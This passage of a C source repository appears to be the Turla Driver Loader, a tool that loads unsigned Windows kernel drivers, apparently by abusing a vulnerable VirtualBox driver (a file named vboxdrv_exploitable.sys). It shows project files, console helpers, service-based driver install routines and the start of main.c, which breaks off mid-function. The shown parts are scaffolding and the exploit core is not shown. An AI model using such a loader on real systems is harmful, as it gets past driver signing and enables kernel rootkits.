/Source/DummyDrv2/dummy/r3request.c: -------------------------------------------------------------------------------- 1 | typedef struct _INOUT_PARAM{ 2 | ULONG Param1; 3 | ULONG Param2; 4 | ULONG Param3; 5 | ULONG Param4; 6 | } INOUT_PARAM, *PINOUT_PARAM; 7 | 8 | #define DUMMYDRV_REQUEST1 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0701, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) 9 | 10 | VOID test( 11 | VOID 12 | ) 13 | { 14 | HANDLE h; 15 | INOUT_PARAM tmp; 16 | DWORD bytesIO; 17 | 18 | h = CreateFile(TEXT("\\\\.\\TDLD"), GENERIC_READ | GENERIC_WRITE, 19 | FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); 20 | if (h != INVALID_HANDLE_VALUE) { 21 | 22 | tmp.Param1 = 0xAAAAAAAA; 23 | tmp.Param2 = 0xBBBBBBBB; 24 | tmp.Param3 = 0xCCCCCCCC; 25 | tmp.Param4 = 0xDDDDDDDD; 26 | 27 | DeviceIoControl(h, DUMMYDRV_REQUEST1, 28 | &tmp, sizeof(tmp), &tmp, 29 | sizeof(tmp), &bytesIO, NULL); 30 | 31 | CloseHandle(h); 32 | } 33 | 34 | } -------------------------------------------------------------------------------- /Source/Furutaka/Furutaka.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Furutaka", "Furutaka.vcxproj", "{8CC15B84-9FA8-4F5E-934F-7DAE7BAC4896}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Release|x64 = Release|x64 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {8CC15B84-9FA8-4F5E-934F-7DAE7BAC4896}.Debug|x64.ActiveCfg = Debug|x64 15 | {8CC15B84-9FA8-4F5E-934F-7DAE7BAC4896}.Debug|x64.Build.0 = Debug|x64 16 | {8CC15B84-9FA8-4F5E-934F-7DAE7BAC4896}.Release|x64.ActiveCfg = Release|x64 17 | {8CC15B84-9FA8-4F5E-934F-7DAE7BAC4896}.Release|x64.Build.0 = Release|x64 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /Source/Furutaka/Furutaka.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | 14 | {8CC15B84-9FA8-4F5E-934F-7DAE7BAC4896} 15 | Win32Proj 16 | Furutaka 17 | 10.0.17763.0 18 | Furutaka 19 | 20 | 21 | 22 | Application 23 | true 24 | v141 25 | Unicode 26 | 27 | 28 | Application 29 | false 30 | v141 31 | Unicode 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | true 47 | .\output\$(Platform)\$(Configuration)\ 48 | .\output\$(Platform)\$(Configuration)\ 49 | SecurityRules.ruleset 50 | 51 | 52 | false 53 | .\output\$(Platform)\$(Configuration)\ 54 | .\output\$(Platform)\$(Configuration)\ 55 | AllRules.ruleset 56 | false 57 | 58 | 59 | 60 | 61 | 62 | Level4 63 | Disabled 64 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 65 | CompileAsC 66 | false 67 | 68 | 69 | Console 70 | true 71 | TDLMain 72 | AsInvoker 73 | 74 | 75 | 76 | 77 | Level4 78 | 79 | 80 | MinSpace 81 | true 82 | true 83 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 84 | CompileAsC 85 | true 86 | true 87 | false 88 | MultiThreaded 89 | Size 90 | false 91 | true 92 | false 93 | AssemblyCode 94 | $(IntDir)\asmlist\ 95 | 96 | 97 | Console 98 | true 99 | true 100 | false 101 | TDLMain 102 | true 103 | RequireAdministrator 104 | 6.0 105 | LinkVerboseLib 106 | /NOCOFFGRPINFO %(AdditionalOptions) 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | -------------------------------------------------------------------------------- /Source/Furutaka/Furutaka.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {b42df48e-a336-4e0e-9516-5a3ed47473ce} 18 | 19 | 20 | 21 | 22 | Source Files 23 | 24 | 25 | minirtl 26 | 27 | 28 | minirtl 29 | 30 | 31 | minirtl 32 | 33 | 34 | minirtl 35 | 36 | 37 | minirtl 38 | 39 | 40 | minirtl 41 | 42 | 43 | minirtl 44 | 45 | 46 | minirtl 47 | 48 | 49 | minirtl 50 | 51 | 52 | minirtl 53 | 54 | 55 | minirtl 56 | 57 | 58 | Source Files 59 | 60 | 61 | Source Files 62 | 63 | 64 | Source Files 65 | 66 | 67 | 68 | 69 | Header Files 70 | 71 | 72 | Header Files 73 | 74 | 75 | minirtl 76 | 77 | 78 | minirtl 79 | 80 | 81 | minirtl 82 | 83 | 84 | Header Files 85 | 86 | 87 | Header Files 88 | 89 | 90 | Header Files 91 | 92 | 93 | Header Files 94 | 95 | 96 | Header Files 97 | 98 | 99 | Header Files 100 | 101 | 102 | 103 | 104 | Resource Files 105 | 106 | 107 | 108 | 109 | 110 | -------------------------------------------------------------------------------- /Source/Furutaka/Furutaka.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | C:\MAKEEXE\TDL\Furutaka\drv\dummy.sys 5 | WindowsLocalDebugger 6 | 7 | 8 | c:\altair\tsugumi.sys 9 | WindowsLocalDebugger 10 | 11 | -------------------------------------------------------------------------------- /Source/Furutaka/cui.c: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2016 - 2018 4 | * 5 | * TITLE: CUI.C 6 | * 7 | * VERSION: 1.30 8 | * 9 | * DATE: 01 Aug 2018 10 | * 11 | * Console output. 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | #include "global.h" 20 | 21 | HANDLE g_ConOut = NULL, g_ConIn = NULL; 22 | BOOL g_ConsoleOutput = FALSE; 23 | WCHAR g_BE = 0xFEFF; 24 | 25 | /* 26 | * cuiInitialize 27 | * 28 | * Purpose: 29 | * 30 | * Initialize console input/output. 31 | * 32 | */ 33 | VOID cuiInitialize( 34 | _In_ BOOL InitInput, 35 | _Out_opt_ PBOOL IsConsoleOutput 36 | ) 37 | { 38 | ULONG dummy; 39 | 40 | g_ConOut = GetStdHandle(STD_OUTPUT_HANDLE); 41 | 42 | if (InitInput) g_ConIn = GetStdHandle(STD_INPUT_HANDLE); 43 | 44 | SetConsoleMode(g_ConOut, ENABLE_LINE_INPUT | ENABLE_ECHO_INPUT | ENABLE_PROCESSED_OUTPUT); 45 | 46 | g_ConsoleOutput = TRUE; 47 | if (!GetConsoleMode(g_ConOut, &dummy)) { 48 | g_ConsoleOutput = FALSE; 49 | WriteFile(g_ConOut, &g_BE, sizeof(WCHAR), &dummy, NULL); 50 | } 51 | 52 | if (IsConsoleOutput) 53 | *IsConsoleOutput = g_ConsoleOutput; 54 | 55 | return; 56 | } 57 | 58 | /* 59 | * cuiClrScr 60 | * 61 | * Purpose: 62 | * 63 | * Clear screen. 64 | * 65 | */ 66 | VOID cuiClrScr( 67 | VOID 68 | ) 69 | { 70 | COORD coordScreen; 71 | DWORD cCharsWritten; 72 | DWORD dwConSize; 73 | CONSOLE_SCREEN_BUFFER_INFO csbi; 74 | 75 | coordScreen.X = 0; 76 | coordScreen.Y = 0; 77 | 78 | if (!GetConsoleScreenBufferInfo(g_ConOut, &csbi)) 79 | return; 80 | 81 | dwConSize = csbi.dwSize.X * csbi.dwSize.Y; 82 | 83 | if (!FillConsoleOutputCharacter(g_ConOut, TEXT(' '), 84 | dwConSize, coordScreen, &cCharsWritten)) 85 | return; 86 | 87 | if (!GetConsoleScreenBufferInfo(g_ConOut, &csbi)) 88 | return; 89 | 90 | if (!FillConsoleOutputAttribute(g_ConOut, csbi.wAttributes, 91 | dwConSize, coordScreen, &cCharsWritten)) 92 | return; 93 | 94 | SetConsoleCursorPosition(g_ConOut, coordScreen); 95 | } 96 | 97 | /* 98 | * cuiPrintTextA 99 | * 100 | * Purpose: 101 | * 102 | * Output text to the console or file. 103 | * ANSI version. 104 | * 105 | */ 106 | VOID cuiPrintTextA( 107 | _In_ LPSTR lpText, 108 | _In_ BOOL UseReturn 109 | ) 110 | { 111 | SIZE_T consoleIO; 112 | DWORD bytesIO; 113 | LPSTR Buffer; 114 | 115 | if (lpText == NULL) 116 | return; 117 | 118 | consoleIO = _strlen_a(lpText); 119 | if ((consoleIO == 0) || (consoleIO > MAX_PATH * 4)) 120 | return; 121 | 122 | consoleIO = 5 + consoleIO; 123 | Buffer = (LPSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, consoleIO); 124 | if (Buffer) { 125 | 126 | _strcpy_a(Buffer, lpText); 127 | if (UseReturn) _strcat_a(Buffer, "\r\n"); 128 | 129 | consoleIO = _strlen_a(Buffer); 130 | 131 | if (g_ConsoleOutput != FALSE) { 132 | WriteConsoleA(g_ConOut, Buffer, (DWORD)consoleIO, &bytesIO, NULL); 133 | } 134 | else { 135 | WriteFile(g_ConOut, Buffer, (DWORD)consoleIO, &bytesIO, NULL); 136 | } 137 | HeapFree(GetProcessHeap(), 0, Buffer); 138 | } 139 | } 140 | 141 | /* 142 | * cuiPrintTextW 143 | * 144 | * Purpose: 145 | * 146 | * Output text to the console or file. 147 | * UNICODE version. 148 | * 149 | */ 150 | VOID cuiPrintTextW( 151 | _In_ LPWSTR lpText, 152 | _In_ BOOL UseReturn 153 | ) 154 | { 155 | SIZE_T consoleIO; 156 | DWORD bytesIO; 157 | LPWSTR Buffer; 158 | 159 | if (lpText == NULL) 160 | return; 161 | 162 | consoleIO = _strlen_w(lpText); 163 | if ((consoleIO == 0) || (consoleIO > MAX_PATH * 4)) 164 | return; 165 | 166 | consoleIO = consoleIO * sizeof(WCHAR) + 4 + sizeof(UNICODE_NULL); 167 | Buffer = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, consoleIO); 168 | if (Buffer) { 169 | 170 | _strcpy(Buffer, lpText); 171 | if (UseReturn) _strcat_w(Buffer, TEXT("\r\n")); 172 | 173 | consoleIO = _strlen_w(Buffer); 174 | 175 | if (g_ConsoleOutput != FALSE) { 176 | WriteConsoleW(g_ConOut, Buffer, (DWORD)consoleIO, &bytesIO, NULL); 177 | } 178 | else { 179 | WriteFile(g_ConOut, Buffer, (DWORD)(consoleIO * sizeof(WCHAR)), &bytesIO, NULL); 180 | } 181 | HeapFree(GetProcessHeap(), 0, Buffer); 182 | } 183 | } 184 | 185 | /* 186 | * cuiPrintTextLastErrorA 187 | * 188 | * Purpose: 189 | * 190 | * Output LastError translated code to the console or file. 191 | * ANSI version. 192 | * 193 | */ 194 | VOID cuiPrintTextLastErrorA( 195 | _In_ BOOL UseReturn 196 | ) 197 | { 198 | CHAR szTextBuffer[512]; 199 | DWORD dwLastError = GetLastError(); 200 | 201 | FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, dwLastError, LANG_USER_DEFAULT, (LPSTR)&szTextBuffer, 512, NULL); 202 | cuiPrintTextA(szTextBuffer, UseReturn); 203 | } 204 | 205 | /* 206 | * cuiPrintTextLastErrorW 207 | * 208 | * Purpose: 209 | * 210 | * Output LastError translated code to the console or file. 211 | * UNICODE version. 212 | * 213 | */ 214 | VOID cuiPrintTextLastErrorW( 215 | _In_ BOOL UseReturn 216 | ) 217 | { 218 | WCHAR szTextBuffer[512]; 219 | DWORD dwLastError = GetLastError(); 220 | 221 | FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM, NULL, dwLastError, LANG_USER_DEFAULT, (LPWSTR)&szTextBuffer, 512, NULL); 222 | cuiPrintTextW(szTextBuffer, UseReturn); 223 | } 224 | -------------------------------------------------------------------------------- /Source/Furutaka/cui.h: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2016 - 2018 4 | * 5 | * TITLE: CUI.H 6 | * 7 | * VERSION: 1.30 8 | * 9 | * DATE: 01 Aug 2018 10 | * 11 | * Common header file for console ui. 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | #pragma once 20 | 21 | VOID cuiInitialize( 22 | _In_ BOOL InitInput, 23 | _Out_opt_ PBOOL IsConsoleOutput 24 | ); 25 | 26 | #ifdef _UNICODE 27 | #define cuiPrintText cuiPrintTextW 28 | #define cuiPrintTextLastError cuiPrintTextLastErrorW 29 | #else 30 | #define cuiPrintText cuiPrintTextA 31 | #define cuiPrintTextLastError cuiPrintTextLastErrorA 32 | #endif 33 | 34 | 35 | VOID cuiPrintTextA( 36 | _In_ LPSTR lpText, 37 | _In_ BOOL UseReturn 38 | ); 39 | 40 | VOID cuiPrintTextW( 41 | _In_ LPWSTR lpText, 42 | _In_ BOOL UseReturn 43 | ); 44 | 45 | VOID cuiPrintTextLastErrorA( 46 | _In_ BOOL UseReturn 47 | ); 48 | 49 | VOID cuiPrintTextLastErrorW( 50 | _In_ BOOL UseReturn 51 | ); 52 | 53 | VOID cuiClrScr( 54 | VOID 55 | ); 56 | -------------------------------------------------------------------------------- /Source/Furutaka/drv/vboxdrv_exploitable.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hfiref0x/TDL/cc4b46ae1c939b14a22a734a727b163f873a41b5/Source/Furutaka/drv/vboxdrv_exploitable.sys -------------------------------------------------------------------------------- /Source/Furutaka/global.h: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2016 - 2019 4 | * 5 | * TITLE: GLOBAL.H 6 | * 7 | * VERSION: 1.14 8 | * 9 | * DATE: 05 Jan 2019 10 | * 11 | * Common header file for the program support routines. 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | 20 | #pragma once 21 | 22 | //disable nonmeaningful warnings. 23 | #pragma warning(disable: 4005) // macro redefinition 24 | #pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union 25 | 26 | #include 27 | #include 28 | #include "ntos.h" 29 | #include "minirtl\minirtl.h" 30 | #include "minirtl\rtltypes.h" 31 | #include "minirtl\cmdline.h" 32 | #include "sup.h" 33 | #include "cui.h" 34 | #include "instdrv.h" 35 | 36 | #if !defined UNICODE 37 | #error ANSI build is not supported 38 | #endif 39 | 40 | #if defined (_MSC_VER) 41 | #if (_MSC_VER >= 1900) 42 | #ifdef _DEBUG 43 | #pragma comment(lib, "vcruntimed.lib") 44 | #pragma comment(lib, "ucrtd.lib") 45 | #else 46 | #pragma comment(lib, "libucrt.lib") 47 | #pragma comment(lib, "libvcruntime.lib") 48 | #endif 49 | #endif 50 | #endif 51 | -------------------------------------------------------------------------------- /Source/Furutaka/instdrv.c: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2015 - 2017, portions (C) Mark Russinovich, FileMon 4 | * 5 | * TITLE: INSTDRV.C 6 | * 7 | * VERSION: 1.10 8 | * 9 | * DATE: 17 Apr 2017 10 | * 11 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 12 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 13 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 14 | * PARTICULAR PURPOSE. 15 | * 16 | *******************************************************************************/ 17 | #include "global.h" 18 | 19 | /* 20 | * scmInstallDriver 21 | * 22 | * Purpose: 23 | * 24 | * Create SCM service entry describing kernel driver. 25 | * 26 | */ 27 | BOOL scmInstallDriver( 28 | _In_ SC_HANDLE SchSCManager, 29 | _In_ LPCTSTR DriverName, 30 | _In_opt_ LPCTSTR ServiceExe 31 | ) 32 | { 33 | SC_HANDLE schService; 34 | 35 | schService = CreateService(SchSCManager, // SCManager database 36 | DriverName, // name of service 37 | DriverName, // name to display 38 | SERVICE_ALL_ACCESS, // desired access 39 | SERVICE_KERNEL_DRIVER, // service type 40 | SERVICE_DEMAND_START, // start type 41 | SERVICE_ERROR_NORMAL, // error control type 42 | ServiceExe, // service's binary 43 | NULL, // no load ordering group 44 | NULL, // no tag identifier 45 | NULL, // no dependencies 46 | NULL, // LocalSystem account 47 | NULL // no password 48 | ); 49 | if (schService == NULL) { 50 | return FALSE; 51 | } 52 | 53 | CloseServiceHandle(schService); 54 | return TRUE; 55 | } 56 | 57 | /* 58 | * scmStartDriver 59 | * 60 | * Purpose: 61 | * 62 | * Start service, resulting in SCM drvier load. 63 | * 64 | */ 65 | BOOL scmStartDriver( 66 | _In_ SC_HANDLE SchSCManager, 67 | _In_ LPCTSTR DriverName 68 | ) 69 | { 70 | SC_HANDLE schService; 71 | BOOL ret; 72 | 73 | schService = OpenService(SchSCManager, 74 | DriverName, 75 | SERVICE_ALL_ACCESS 76 | ); 77 | if (schService == NULL) 78 | return FALSE; 79 | 80 | ret = StartService(schService, 0, NULL) 81 | || GetLastError() == ERROR_SERVICE_ALREADY_RUNNING; 82 | 83 | CloseServiceHandle(schService); 84 | 85 | return ret; 86 | } 87 | 88 | /* 89 | * scmOpenDevice 90 | * 91 | * Purpose: 92 | * 93 | * Open driver device by symbolic link. 94 | * 95 | */ 96 | BOOL scmOpenDevice( 97 | _In_ LPCTSTR DriverName, 98 | _Inout_opt_ PHANDLE lphDevice 99 | ) 100 | { 101 | TCHAR completeDeviceName[64]; 102 | HANDLE hDevice; 103 | 104 | RtlSecureZeroMemory(completeDeviceName, sizeof(completeDeviceName)); 105 | wsprintf(completeDeviceName, TEXT("\\\\.\\%s"), DriverName); 106 | 107 | hDevice = CreateFile(completeDeviceName, 108 | GENERIC_READ | GENERIC_WRITE, 109 | 0, 110 | NULL, 111 | OPEN_EXISTING, 112 | FILE_ATTRIBUTE_NORMAL, 113 | NULL 114 | ); 115 | if (hDevice == INVALID_HANDLE_VALUE) 116 | return FALSE; 117 | 118 | if (lphDevice) { 119 | *lphDevice = hDevice; 120 | } 121 | else { 122 | CloseHandle(hDevice); 123 | } 124 | 125 | return TRUE; 126 | } 127 | 128 | /* 129 | * scmStopDriver 130 | * 131 | * Purpose: 132 | * 133 | * Command SCM to stop service, resulting in driver unload. 134 | * 135 | */ 136 | BOOL scmStopDriver( 137 | _In_ SC_HANDLE SchSCManager, 138 | _In_ LPCTSTR DriverName 139 | ) 140 | { 141 | BOOL ret; 142 | INT iRetryCount; 143 | SC_HANDLE schService; 144 | SERVICE_STATUS serviceStatus; 145 | 146 | ret = FALSE; 147 | schService = OpenService(SchSCManager, DriverName, SERVICE_ALL_ACCESS); 148 | if (schService == NULL) { 149 | return ret; 150 | } 151 | 152 | iRetryCount = 5; 153 | do { 154 | SetLastError(0); 155 | 156 | ret = ControlService(schService, SERVICE_CONTROL_STOP, &serviceStatus); 157 | if (ret != FALSE) 158 | break; 159 | 160 | if (GetLastError() != ERROR_DEPENDENT_SERVICES_RUNNING) 161 | break; 162 | 163 | Sleep(1000); 164 | iRetryCount--; 165 | } while (iRetryCount); 166 | 167 | CloseServiceHandle(schService); 168 | 169 | return ret; 170 | } 171 | 172 | /* 173 | * scmRemoveDriver 174 | * 175 | * Purpose: 176 | * 177 | * Remove service entry from SCM database. 178 | * 179 | */ 180 | BOOL scmRemoveDriver( 181 | _In_ SC_HANDLE SchSCManager, 182 | _In_ LPCTSTR DriverName 183 | ) 184 | { 185 | SC_HANDLE schService; 186 | BOOL bResult = FALSE; 187 | 188 | schService = OpenService(SchSCManager, DriverName, SERVICE_ALL_ACCESS); 189 | if (schService) { 190 | bResult = DeleteService(schService); 191 | CloseServiceHandle(schService); 192 | } 193 | return bResult; 194 | } 195 | 196 | /* 197 | * scmUnloadDeviceDriver 198 | * 199 | * Purpose: 200 | * 201 | * Combines scmStopDriver and scmRemoveDriver. 202 | * 203 | */ 204 | BOOL scmUnloadDeviceDriver( 205 | _In_ LPCTSTR Name 206 | ) 207 | { 208 | SC_HANDLE schSCManager; 209 | BOOL bResult = FALSE; 210 | 211 | if (Name == NULL) { 212 | return bResult; 213 | } 214 | 215 | schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); 216 | if (schSCManager) { 217 | scmStopDriver(schSCManager, Name); 218 | bResult = scmRemoveDriver(schSCManager, Name); 219 | CloseServiceHandle(schSCManager); 220 | } 221 | return bResult; 222 | } 223 | 224 | /* 225 | * scmLoadDeviceDriver 226 | * 227 | * Purpose: 228 | * 229 | * Unload if already exists, Create, Load and Open driver instance. 230 | * 231 | */ 232 | BOOL scmLoadDeviceDriver( 233 | _In_ LPCTSTR Name, 234 | _In_opt_ LPCTSTR Path, 235 | _Inout_ PHANDLE lphDevice 236 | ) 237 | { 238 | SC_HANDLE schSCManager; 239 | BOOL bResult = FALSE; 240 | 241 | if (Name == NULL) { 242 | return bResult; 243 | } 244 | 245 | schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); 246 | if (schSCManager) { 247 | scmRemoveDriver(schSCManager, Name); 248 | scmInstallDriver(schSCManager, Name, Path); 249 | scmStartDriver(schSCManager, Name); 250 | bResult = scmOpenDevice(Name, lphDevice); 251 | CloseServiceHandle(schSCManager); 252 | } 253 | return bResult; 254 | } 255 | -------------------------------------------------------------------------------- /Source/Furutaka/instdrv.h: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2015 - 2017, portions (C) Mark Russinovich, FileMon 4 | * 5 | * TITLE: INSTDRV.H 6 | * 7 | * VERSION: 1.10 8 | * 9 | * DATE: 17 Apr 2017 10 | * 11 | * Common header file for the program SCM usage. 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | #pragma once 20 | 21 | BOOL scmInstallDriver( 22 | _In_ SC_HANDLE SchSCManager, 23 | _In_ LPCTSTR DriverName, 24 | _In_opt_ LPCTSTR ServiceExe 25 | ); 26 | 27 | BOOL scmStartDriver( 28 | _In_ SC_HANDLE SchSCManager, 29 | _In_ LPCTSTR DriverName 30 | ); 31 | 32 | BOOL scmOpenDevice( 33 | _In_ LPCTSTR DriverName, 34 | _Inout_opt_ PHANDLE lphDevice 35 | ); 36 | 37 | BOOL scmStopDriver( 38 | _In_ SC_HANDLE SchSCManager, 39 | _In_ LPCTSTR DriverName 40 | ); 41 | 42 | BOOL scmRemoveDriver( 43 | _In_ SC_HANDLE SchSCManager, 44 | _In_ LPCTSTR DriverName 45 | ); 46 | 47 | BOOL scmUnloadDeviceDriver( 48 | _In_ LPCTSTR Name 49 | ); 50 | 51 | BOOL scmLoadDeviceDriver( 52 | _In_ LPCTSTR Name, 53 | _In_opt_ LPCTSTR Path, 54 | _Inout_ PHANDLE lphDevice 55 | ); 56 | -------------------------------------------------------------------------------- /Source/Furutaka/main.c: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2016 - 2019 4 | * 5 | * TITLE: MAIN.C 6 | * 7 | * VERSION: 1.15 8 | * 9 | * DATE: 19 Apr 2019 10 | * 11 | * Furutaka entry point. 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | 20 | #include "global.h" 21 | #include "vbox.h" 22 | #include "shellcode.h" 23 | 24 | #pragma data_seg("shrd") 25 | volatile LONG g_lApplicationInstances = 0; 26 | #pragma data_seg() 27 | #pragma comment(linker, "/Section:shrd,RWS") 28 | 29 | HINSTANCE g_hInstance; 30 | HANDLE g_hVBox = INVALID_HANDLE_VALUE; 31 | BOOL g_VBoxInstalled = FALSE; 32 | 33 | ULONG g_NtBuildNumber = 0; 34 | 35 | #define VBoxDrvSvc TEXT("VBoxDrv") 36 | #define supImageName "furutaka" 37 | #define supImageHandle 0x1a000 38 | 39 | #define T_LOADERTITLE TEXT("Turla Driver Loader v1.1.5 (19/04/19)") 40 | #define T_LOADERUNSUP TEXT("Unsupported WinNT version\r\n") 41 | #define T_LOADERRUN TEXT("Another instance running, close it before\r\n") 42 | #define T_LOADERUSAGE TEXT("Usage: loader DriverToLoad\n\re.g. loader mydrv.sys\r\n") 43 | #define T_LOADERINTRO TEXT("Turla Driver Loader v1.1.5 started\r\n(c) 2016 - 2019 TDL Project\r\nSupported x64 OS : 7 and above\r\n") 44 | #define T_VBOXDETECT TEXT("Ldr: Detected VirtualBox software installation, driver backup will be done") 45 | 46 | /* 47 | * TDLVBoxInstalled 48 | * 49 | * Purpose: 50 | * 51 | * Check VirtualBox software installation state. 52 | * 53 | */ 54 | BOOL TDLVBoxInstalled( 55 | VOID 56 | ) 57 | { 58 | BOOL bPresent = FALSE; 59 | LRESULT lRet; 60 | HKEY hKey = NULL; 61 | 62 | lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("Software\\Oracle\\VirtualBox"), 63 | 0, KEY_READ, &hKey); 64 | 65 | bPresent = (hKey != NULL); 66 | 67 | if (hKey) { 68 | RegCloseKey(hKey); 69 | } 70 | 71 | return bPresent; 72 | } 73 | 74 | /* 75 | * TDLGetProcAddress 76 | * 77 | * Purpose: 78 | * 79 | * Get NtOskrnl procedure address. 80 | * 81 | */ 82 | ULONG_PTR TDLGetProcAddress( 83 | _In_ ULONG_PTR KernelBase, 84 | _In_ ULONG_PTR KernelImage, 85 | _In_ LPCSTR FunctionName 86 | ) 87 | { 88 | ANSI_STRING cStr; 89 | ULONG_PTR pfn = 0; 90 | 91 | RtlInitString(&cStr, FunctionName); 92 | if (!NT_SUCCESS(LdrGetProcedureAddress((PVOID)KernelImage, &cStr, 0, (PVOID*)&pfn))) 93 | return 0; 94 | 95 | return KernelBase + (pfn - KernelImage); 96 | } 97 | 98 | /* 99 | * TDLResolveKernelImport 100 | * 101 | * Purpose: 102 | * 103 | * Resolve import (ntoskrnl only). 104 | * 105 | */ 106 | void TDLResolveKernelImport( 107 | _In_ ULONG_PTR Image, 108 | _In_ ULONG_PTR KernelImage, 109 | _In_ ULONG_PTR KernelBase 110 | ) 111 | { 112 | PIMAGE_OPTIONAL_HEADER popth; 113 | ULONG_PTR ITableVA, *nextthunk; 114 | PIMAGE_IMPORT_DESCRIPTOR ITable; 115 | PIMAGE_THUNK_DATA pthunk; 116 | PIMAGE_IMPORT_BY_NAME pname; 117 | ULONG i; 118 | 119 | popth = &RtlImageNtHeader((PVOID)Image)->OptionalHeader; 120 | 121 | if (popth->NumberOfRvaAndSizes <= IMAGE_DIRECTORY_ENTRY_IMPORT) 122 | return; 123 | 124 | ITableVA = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; 125 | if (ITableVA == 0) 126 | return; 127 | 128 | ITable = (PIMAGE_IMPORT_DESCRIPTOR)(Image + ITableVA); 129 | 130 | if (ITable->OriginalFirstThunk == 0) 131 | pthunk = (PIMAGE_THUNK_DATA)(Image + ITable->FirstThunk); 132 | else 133 | pthunk = (PIMAGE_THUNK_DATA)(Image + ITable->OriginalFirstThunk); 134 | 135 | for (i = 0; 